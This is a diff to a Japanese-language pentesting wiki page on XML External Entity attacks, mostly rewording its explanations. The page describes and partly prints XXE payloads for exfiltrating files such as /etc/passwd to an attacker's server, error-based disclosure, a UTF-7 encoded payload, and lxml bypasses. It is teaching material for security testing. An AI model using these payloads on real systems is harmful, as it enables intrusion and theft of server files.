diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index ab4c73b22..fbbc39f71 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -1,21 +1,16 @@ # XXE - XEE - XML External Entity -{{#include /banners/hacktricks-training.md}} - -- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42) -- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279) - {{#include ../banners/hacktricks-training.md}} ## XMLの基本 -XMLはデータの保存と輸送のために設計されたマークアップ言語で、説明的に名前付けされたタグを使用する柔軟な構造を特徴としています。XMLは、あらかじめ定義されたタグのセットに制限されない点でHTMLとは異なります。JSONの台頭に伴い、XMLの重要性は低下していますが、AJAX技術における初期の役割はありました。 +XMLはデータの保存と輸送のために設計されたマークアップ言語で、説明的に名前付けされたタグを使用する柔軟な構造を特徴としています。HTMLとは異なり、あらかじめ定義されたタグのセットに制限されていません。JSONの台頭に伴い、XMLの重要性は低下していますが、当初はAJAX技術において重要な役割を果たしていました。 -- **エンティティによるデータ表現**: XMLのエンティティは、`<`や`>`のような特殊文字を含むデータの表現を可能にし、これらはXMLのタグシステムとの衝突を避けるために`<`と`>`に対応します。 -- **XML要素の定義**: XMLは要素の型を定義することを可能にし、要素がどのように構造化され、どのような内容を含むことができるかを概説します。内容の種類は任意のものから特定の子要素までさまざまです。 -- **文書型定義 (DTD)**: DTDはXMLにおいて文書の構造と含むことができるデータの型を定義するために重要です。DTDは内部、外部、またはその組み合わせであり、文書のフォーマットと検証方法をガイドします。 -- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML外部エンティティ(XXE)攻撃の文脈でセキュリティ上の懸念を引き起こします。これは、XMLパーサーが外部データソースを処理する方法を悪用します: ` ]>` -- **パラメータエンティティによるXXE検出**: 特にパーサーのセキュリティ対策により従来の方法が失敗する場合、XXE脆弱性を検出するためにXMLパラメータエンティティを利用できます。これらのエンティティは、DNSルックアップや制御されたドメインへのHTTPリクエストをトリガーするなどのアウトオブバンド検出技術を可能にし、脆弱性を確認します。 +- **エンティティによるデータ表現**: XMLのエンティティは、`<`や`>`のような特殊文字を含むデータの表現を可能にし、これらはXMLのタグシステムとの衝突を避けるためにそれぞれ`<`と`>`に対応します。 +- **XML要素の定義**: XMLは要素の型を定義することを可能にし、要素がどのように構造化されるべきか、どのような内容を含むことができるかを概説します。内容の種類は任意のタイプから特定の子要素までさまざまです。 +- **文書型定義 (DTD)**: DTDはXMLにおいて文書の構造と含むことができるデータの型を定義するために重要です。内部、外部、またはその組み合わせとして存在し、文書のフォーマットと検証方法をガイドします。 +- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML外部エンティティ(XXE)攻撃の文脈においてセキュリティ上の懸念を引き起こします。これは、XMLパーサーが外部データソースを処理する方法を悪用します: ` ]>` +- **パラメータエンティティによるXXE検出**: 特に従来の方法がパーサーのセキュリティ対策により失敗する場合、XXE脆弱性を検出するためにXMLパラメータエンティティを利用できます。これらのエンティティは、DNSルックアップや制御されたドメインへのHTTPリクエストをトリガーするなどのアウトオブバンド検出技術を可能にし、脆弱性を確認します。 - ` ]>` - ` ]>` @@ -25,7 +20,7 @@ XMLはデータの保存と輸送のために設計されたマークアップ ### 新しいエンティティテスト -この攻撃では、シンプルな新しいエンティティ宣言が機能するかどうかをテストします。 +この攻撃では、シンプルな新しいエンティティ宣言が機能しているかどうかをテストします。 ```xml ]> @@ -88,7 +83,7 @@ XXEを使用して、クラウド内のSSRFを悪用することができます ``` ### Blind SSRF -使用している**以前にコメントされた技術**を使って、サーバーがあなたが制御するサーバーにアクセスしていることを示すことができます。しかし、それが機能しない場合、**XMLエンティティが許可されていない**可能性があります。その場合は、**XMLパラメータエンティティ**を使用してみることができます: +**以前にコメントした技術**を使用すると、サーバーがあなたが制御するサーバーにアクセスしていることを示すことができます。それが機能しない場合、**XMLエンティティが許可されていない**可能性があります。その場合は、**XMLパラメータエンティティ**を使用してみることができます: ```xml %xxe; ]> @@ -96,7 +91,7 @@ XXEを使用して、クラウド内のSSRFを悪用することができます ``` ### "Blind" SSRF - データをアウトオブバンドで抽出する -**この場合、サーバーに悪意のあるペイロードを持つ新しいDTDを読み込ませ、ファイルの内容をHTTPリクエスト経由で送信させます(複数行のファイルの場合、例えばこの基本サーバーを使用して\_ftp://**\_経由で抽出を試みることができます[**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。この説明は**[**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**に基づいています。** +**この場合、サーバーに悪意のあるペイロードを含む新しいDTDを読み込ませ、ファイルの内容をHTTPリクエストを介して送信させます(複数行のファイルの場合、例えばこの基本サーバーを使用して\_ftp://**\_経由で抽出を試みることができます[**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。この説明は** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**に基づいています。** 与えられた悪意のあるDTDでは、データを抽出するために一連の手順が実行されます: @@ -126,18 +121,18 @@ XXEを使用して、クラウド内のSSRFを悪用することができます %xxe;]> 3;1 ``` -このペイロードは、XMLパラメータエンティティ `%xxe` を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。パーサーはその後、DTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname` ファイルを攻撃者のサーバーに流出させます。 +このペイロードは、XMLパラメータエンティティ`%xxe`を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。パーサーはその後、DTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname`ファイルを攻撃者のサーバーに流出させます。 ### エラーベース(外部DTD) -**この場合、サーバーが悪意のあるDTDを読み込むようにし、エラーメッセージ内にファイルの内容を表示させます(これはエラーメッセージが見える場合にのみ有効です)。** [**ここからの例。**](https://portswigger.net/web-security/xxe/blind) +**この場合、サーバーがファイルの内容をエラーメッセージ内に表示する悪意のあるDTDを読み込むようにします(これはエラーメッセージが見える場合にのみ有効です)。** [**ここからの例。**](https://portswigger.net/web-security/xxe/blind) -悪意のある外部文書型定義(DTD)を使用して、`/etc/passwd` ファイルの内容を明らかにするXML解析エラーメッセージをトリガーできます。これは以下の手順で実現されます: +悪意のある外部文書型定義(DTD)を使用して、`/etc/passwd`ファイルの内容を明らかにするXML解析エラーメッセージをトリガーできます。これは以下の手順で実現されます: -1. `file` という名前のXMLパラメータエンティティが定義され、`/etc/passwd` ファイルの内容が含まれます。 -2. `eval` という名前のXMLパラメータエンティティが定義され、別のXMLパラメータエンティティ `error` の動的宣言を組み込みます。この `error` エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として `file` エンティティの内容を組み込みます。 -3. `eval` エンティティが呼び出され、`error` エンティティの動的宣言が行われます。 -4. `error` エンティティの呼び出しは、存在しないファイルを読み込もうとし、`/etc/passwd` ファイルの内容をファイル名の一部として含むエラーメッセージを生成します。 +1. `file`という名前のXMLパラメータエンティティが定義され、`/etc/passwd`ファイルの内容が含まれます。 +2. `eval`という名前のXMLパラメータエンティティが定義され、`error`という別のXMLパラメータエンティティの動的宣言を組み込みます。この`error`エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として`file`エンティティの内容を組み込みます。 +3. `eval`エンティティが呼び出され、`error`エンティティの動的宣言が行われます。 +4. `error`エンティティの呼び出しは、存在しないファイルを読み込もうとし、`/etc/passwd`ファイルの内容をファイル名の一部として含むエラーメッセージを生成します。 悪意のある外部DTDは、以下のXMLで呼び出すことができます: ```xml @@ -155,9 +150,9 @@ _**外部DTDは、2番目の`eval`内に1つのエンティティを含めるこ では、**アウトオブバンドの相互作用がブロックされている**場合の盲目的なXXE脆弱性はどうでしょうか(外部接続が利用できない)? -XML言語仕様の抜け穴は、**ドキュメントのDTDが内部および外部の宣言を混合する際にエラーメッセージを通じて機密データを露出させることができます**。この問題は、外部で宣言されたエンティティの内部再定義を可能にし、エラーに基づくXXE攻撃の実行を促進します。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティの再定義を利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存し、機密情報を明らかにするために解析エラーを誘発することを目指します。 +XML言語仕様の抜け穴は、**文書のDTDが内部および外部の宣言を混合する際にエラーメッセージを通じて機密データを露出させる**ことができます。この問題は、外部で宣言されたエンティティの内部再定義を可能にし、エラーに基づくXXE攻撃の実行を促進します。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティの再定義を利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存し、機密情報を明らかにするために解析エラーを誘発することを目指します。 -サーバーのファイルシステムに`/usr/local/app/schema.dtd`にあるDTDファイルが含まれており、`custom_entity`というエンティティを定義しているシナリオを考えてみましょう。攻撃者は、次のようにハイブリッドDTDを提出することで、`/etc/passwd`ファイルの内容を明らかにするXML解析エラーを誘発できます。 +サーバーのファイルシステムに`/usr/local/app/schema.dtd`にDTDファイルが含まれており、`custom_entity`というエンティティを定義しているシナリオを考えてみましょう。攻撃者は、次のようにハイブリッドDTDを提出することで、`/etc/passwd`ファイルの内容を明らかにするXML解析エラーを誘発できます。 ```xml @@ -170,13 +165,13 @@ XML言語仕様の抜け穴は、**ドキュメントのDTDが内部および外 %local_dtd; ]> ``` -このDTDによって示された手順が実行されます: +このDTDによって実行される手順は以下の通りです: -- `local_dtd`というXMLパラメータエンティティの定義には、サーバーのファイルシステム上にある外部DTDファイルが含まれています。 -- 外部DTDで元々定義されていた`custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーに基づくXXEエクスプロイト](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化します。この再定義は、パースエラーを引き起こし、`/etc/passwd`ファイルの内容を露出させることを目的としています。 +- `local_dtd`という名前のXMLパラメータエンティティの定義には、サーバーのファイルシステム上にある外部DTDファイルが含まれています。 +- 外部DTDで元々定義されていた`custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーに基づくXXEエクスプロイト](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化します。この再定義は、解析エラーを引き起こし、`/etc/passwd`ファイルの内容を露出させることを目的としています。 - `local_dtd`エンティティを使用することで、外部DTDが呼び出され、新たに定義された`custom_entity`が含まれます。この一連のアクションにより、エクスプロイトが狙うエラーメッセージが発生します。 -**実世界の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd`に`ISOamso`というエンティティを含むDTDがあることがよくあります。 +**実世界の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd`に`ISOamso`というエンティティを含むDTDが存在することがよくあります。 ```xml [!CAUTION] -> PKZIPファイル内のファイルにアクセスできることは、**システムDTDファイルを介してXXEを悪用するのに非常に便利です。** [このセクションでシステムDTDファイルを悪用する方法を学んでください](xxe-xee-xml-external-entity.md#error-based-system-dtd)。 +> PKZIPファイル内のファイルにアクセスできることは、**システムDTDファイルを介してXXEを悪用するのに非常に便利です。** [このセクションを確認して、システムDTDファイルを悪用する方法を学んでください](xxe-xee-xml-external-entity.md#error-based-system-dtd)。 PKZIPアーカイブ内のファイルにjarプロトコルを介してアクセスするプロセスは、いくつかのステップを含みます: @@ -256,13 +251,13 @@ PKZIPアーカイブ内のファイルにjarプロトコルを介してアクセ 4. アーカイブ内の特定のファイル`file.zip`が読み取られます。 5. 操作後、このプロセス中に作成された一時ファイルは削除されます。 -このプロセスの2番目のステップで中断するための興味深い技術は、アーカイブファイルを提供する際にサーバー接続を無期限に開いたままにすることです。この目的のために、[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)にあるツールを利用できます。これには、Pythonサーバー(`slow_http_server.py`)やJavaサーバー(`slowserver.jar`)が含まれます。 +このプロセスの2番目のステップで中断するための興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために、[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)にあるツールを利用できます。これには、Pythonサーバー(`slow_http_server.py`)やJavaサーバー(`slowserver.jar`)が含まれます。 ```xml ]> &xxe; ``` > [!CAUTION] -> 一時ディレクトリにファイルを書き込むことは、**パス・トラバーサルに関わる別の脆弱性をエスカレートするのに役立つ可能性があります**(ローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライズなど)。 +> 一時ディレクトリにファイルを書き込むことは、**パス・トラバーサルに関わる別の脆弱性をエスカレートさせるのに役立つ**(ローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライズなど)。 ### XSS ```xml @@ -293,7 +288,7 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` -#### 二次爆発攻撃 +#### 二次膨張攻撃 ![](<../images/image (527).png>) @@ -315,9 +310,9 @@ Responder.py -I eth0 -v ### XInclude -クライアントデータをサーバー側のXMLドキュメントに統合する際、バックエンドのSOAPリクエストのように、XML構造に対する直接的な制御はしばしば制限されており、`DOCTYPE`要素を変更する制限のために従来のXXE攻撃が妨げられます。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にすることで解決策を提供します。この方法は、サーバー生成のXMLドキュメント内のデータの一部のみを制御できる場合でも効果的です。 +クライアントデータをサーバー側のXMLドキュメントに統合する際、バックエンドのSOAPリクエストのように、XML構造に対する直接的な制御はしばしば制限され、`DOCTYPE`要素の変更に対する制約のために従来のXXE攻撃が妨げられます。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にすることで解決策を提供します。この方法は、サーバー生成のXMLドキュメント内のデータの一部のみを制御できる場合でも効果的です。 -`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図した外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃がどのように構成されるかの簡潔な例です: +`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図する外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃がどのように構成されるかの簡潔な例です: ```xml productId=&storeId=1 ``` @@ -327,7 +322,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec ユーザーが特定のアプリケーションにアップロードしたファイルは、サーバーで処理される際に、XMLまたはXMLを含むファイル形式の取り扱いにおける脆弱性を悪用する可能性があります。一般的なファイル形式であるオフィス文書(DOCX)や画像(SVG)は、XMLに基づいています。 -ユーザーが**画像をアップロード**すると、これらの画像はサーバー側で処理または検証されます。PNGやJPEGなどの形式を期待するアプリケーションであっても、**サーバーの画像処理ライブラリはSVG画像もサポートしている可能性があります**。XMLベースの形式であるSVGは、攻撃者によって悪意のあるSVG画像を提出するために悪用され、サーバーをXXE(XML外部エンティティ)脆弱性にさらすことができます。 +ユーザーが**画像をアップロード**すると、これらの画像はサーバー側で処理または検証されます。PNGやJPEGなどの形式を期待するアプリケーションであっても、**サーバーの画像処理ライブラリはSVG画像もサポートしている可能性があります**。SVGはXMLベースの形式であるため、攻撃者が悪意のあるSVG画像を提出することで、サーバーをXXE(XML外部エンティティ)脆弱性にさらすことができます。 以下にそのような攻撃の例を示します。悪意のあるSVG画像がシステムファイルを読み取ろうとしています: ```xml @@ -339,15 +334,15 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec ``` -SVG形式は、サーバーのソフトウェアのXML処理機能を悪用する攻撃を開始するために使用され、堅牢な入力検証とセキュリティ対策の必要性を強調しています。 +SVG形式は、サーバーのソフトウェアのXML処理機能を悪用する攻撃を開始するために使用されるため、堅牢な入力検証とセキュリティ対策の必要性が強調されます。 -Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info! +詳細については[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)を確認してください! **読み込まれたファイルの最初の行または実行結果は、作成された画像の内部に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。** ### **PDF - ファイルアップロード** -次の投稿を読んで、**PDFファイルをアップロードしてXXEを悪用する方法を学んでください**: +次の投稿を読んで**PDFファイルをアップロードしてXXEを悪用する方法を学んでください**: {{#ref}} file-upload/pdf-upload-xxe-and-cors-bypass.md @@ -355,7 +350,7 @@ file-upload/pdf-upload-xxe-and-cors-bypass.md ### Content-Type: x-www-urlencodedからXMLへ -POSTリクエストがXML形式のデータを受け入れる場合、そのリクエストでXXEを悪用しようとすることができます。たとえば、通常のリクエストに次のような内容が含まれている場合: +POSTリクエストがXML形式のデータを受け入れる場合、そのリクエストでXXEを悪用しようとすることができます。たとえば、通常のリクエストに次のような内容が含まれている場合: ```xml POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded @@ -373,7 +368,7 @@ Content-Length: 52 ``` ### Content-Type: From JSON to XEE -リクエストを変更するには、「**Content Type Converter**」というBurp Extensionを使用できます。[Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) でこの例を見つけることができます: +リクエストを変更するには、「**Content Type Converter**」というBurp拡張機能を使用できます。[Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) でこの例を見つけることができます: ```xml Content-Type: application/json;charset=UTF-8 @@ -413,7 +408,7 @@ Content-Type: application/xml;charset=UTF-8 ### UTF-7 -ここで \[**"Encode Recipe**" of cyberchef\] を使用できます。 +ここで \[**"Encode Recipe**" of cyberchef\]を使用できます。 ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -427,15 +422,15 @@ Content-Type: application/xml;charset=UTF-8 ``` ### File:/ プロトコルバイパス -ウェブがPHPを使用している場合、`file:/`の代わりに**phpラッパー**`php://filter/convert.base64-encode/resource=`を使用して**内部ファイル**にアクセスできます。 +ウェブがPHPを使用している場合、`file:/`の代わりに**php wrappers**`php://filter/convert.base64-encode/resource=`を使用して**内部ファイル**にアクセスできます。 ウェブがJavaを使用している場合は、[**jar: プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol)を確認してください。 -### HTMLエンティティ +### HTML エンティティ [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)からのトリック\ -**エンティティ内のエンティティ**を作成し、**htmlエンティティ**でエンコードしてから、**dtdをロード**するために呼び出すことができます。\ -使用する**HTMLエンティティ**は**数値**である必要があります(例えば\[この例\]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]())。 +**エンティティ内のエンティティ**を作成し、**html エンティティ**でエンコードしてから、**dtdをロード**するために呼び出すことができます。\ +使用する**HTML エンティティ**は**数値**である必要があります(例えば\[この例\]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). ```xml %a;%dtd;]> @@ -521,7 +516,7 @@ Content-Type: application/x-xliff+xml ``` このアプローチは、User AgentがJava 1.8の使用を示していることを明らかにします。このバージョンのJavaの制限の一つは、Out of Band技術を使用して、/etc/passwdのような改行文字を含むファイルを取得できないことです。 -Error-Based Data Exfiltration この制限を克服するために、Error-Basedアプローチが採用されます。DTDファイルは、ターゲットファイルからのデータを含むエラーをトリガーするように次のように構成されています: +Error-Based Data Exfiltration この制限を克服するために、Error-Basedアプローチが採用されます。DTDファイルは、ターゲットファイルからのデータを含むエラーをトリガーするように次のように構成されています: ```xml "> @@ -539,7 +534,7 @@ Error-Based Data Exfiltration この制限を克服するために、Error-Based %foo; %xxe; ``` -この変更により、HTTP経由で送信されるエラー出力に反映されるファイルの内容が正常に抽出されます。これは、Out of BandおよびError-Based技術の両方を利用して機密情報を抽出する成功したXXE(XML External Entity)攻撃を示しています。 +この変更により、HTTP経由で送信されるエラー出力に反映されるファイルの内容が正常に抽出されます。これは、機密情報を抽出するためにOut of BandおよびError-Based技術の両方を利用した成功したXXE(XML External Entity)攻撃を示しています。 ## RSS - XEE @@ -676,11 +671,11 @@ XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成す ``` -## XXE + WrapWrap + Lightyear + バイパス +## XXE + WrapWrap + Lightyear + bypasses この素晴らしいレポートを見てください [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/) -## ツール +## Tools {{#ref}} https://github.com/luisfontes19/xxexploiter @@ -689,7 +684,7 @@ https://github.com/luisfontes19/xxexploiter ### Python lxml パラメータエンティティ XXE (エラーに基づくファイル開示) > [!INFO] -> Pythonライブラリ **lxml** は内部で **libxml2** を使用しています。 **lxml 5.4.0 / libxml2 2.13.8** より前のバージョンは、`resolve_entities=False` の場合でも *parameter* エンティティを展開し続け、アプリケーションが `load_dtd=True` および/または `resolve_entities=True` を有効にすると、アクセス可能になります。 これにより、ローカルファイルの内容をパーサーエラーメッセージに埋め込むエラーに基づく XXE ペイロードが可能になります。 +> Pythonライブラリ **lxml** は内部で **libxml2** を使用しています。 **lxml 5.4.0 / libxml2 2.13.8** より前のバージョンは、`resolve_entities=False` の場合でも *parameter* エンティティを展開し続け、アプリケーションが `load_dtd=True` および/または `resolve_entities=True` を有効にするとアクセス可能になります。 これにより、ローカルファイルの内容をパーサーエラーメッセージに埋め込むエラーに基づく XXE ペイロードが可能になります。 #### 1. lxml < 5.4.0 の悪用 1. **未定義** パラメータエンティティ (例: `%config_hex;`) を定義する *ローカル* DTD をディスク上で特定または作成します。 @@ -698,7 +693,7 @@ https://github.com/luisfontes19/xxexploiter * 未定義エンティティを再定義して、次のようにします: - 対象ファイルを読み取ります (``)。 - `%flag;` 値を含む **無効なパス** を参照する別のパラメータエンティティを構築し、パーサーエラーをトリガーします (`">`)。 -3. 最後に `%local_dtd;` と `%eval;` を展開して、パーサーが `%error;` に遭遇し、`/aaa/` を開けずに失敗し、例外内にフラグを漏洩させます – これはしばしばアプリケーションによってユーザーに返されます。 +3. 最後に `%local_dtd;` と `%eval;` を展開して、パーサーが `%error;` に遭遇し、`/aaa/` を開けずに失敗し、スローされた例外内にフラグを漏洩させます – これはしばしばアプリケーションによってユーザーに返されます。 ```xml @@ -714,13 +709,13 @@ https://github.com/luisfontes19/xxexploiter Error : failed to load external entity "file:///aaa/FLAG{secret}" ``` > [!TIP] -> パーサーが内部サブセット内の `%`/`&` 文字について文句を言う場合は、それらを二重エンコードします(`&#x25;` ⇒ `%`)以降の展開を遅らせるためです。 +> パーサーが内部サブセット内の `%`/`&` 文字について文句を言う場合、展開を遅らせるためにそれらを二重エンコードします(`&#x25;` ⇒ `%`)。 #### 2. lxml 5.4.0 のハードニングを回避する (libxml2 は依然として脆弱) -`lxml` ≥ 5.4.0 は上記のような *error* パラメータエンティティを禁止していますが、**libxml2** はそれらを *general* エンティティに埋め込むことを依然として許可しています。 トリックは次のとおりです: +`lxml` ≥ 5.4.0 は上記のような *error* パラメータエンティティを禁止していますが、**libxml2** はそれらを *general* エンティティに埋め込むことを依然として許可しています。トリックは次の通りです: 1. ファイルをパラメータエンティティ `%file` に読み込みます。 2. *non-existent protocol* である `meow://%file;` を使用する **general** エンティティ `c` を構築する別のパラメータエンティティを宣言します。 -3. XML 本文に `&c;` を配置します。 パーサーが `meow://…` を逆参照しようとすると失敗し、エラーメッセージにファイルの内容を含む完全な URI が反映されます。 +3. XML 本文に `&c;` を配置します。パーサーが `meow://…` を逆参照しようとすると失敗し、エラーメッセージにファイルの内容を含む完全な URI が反映されます。 ```xml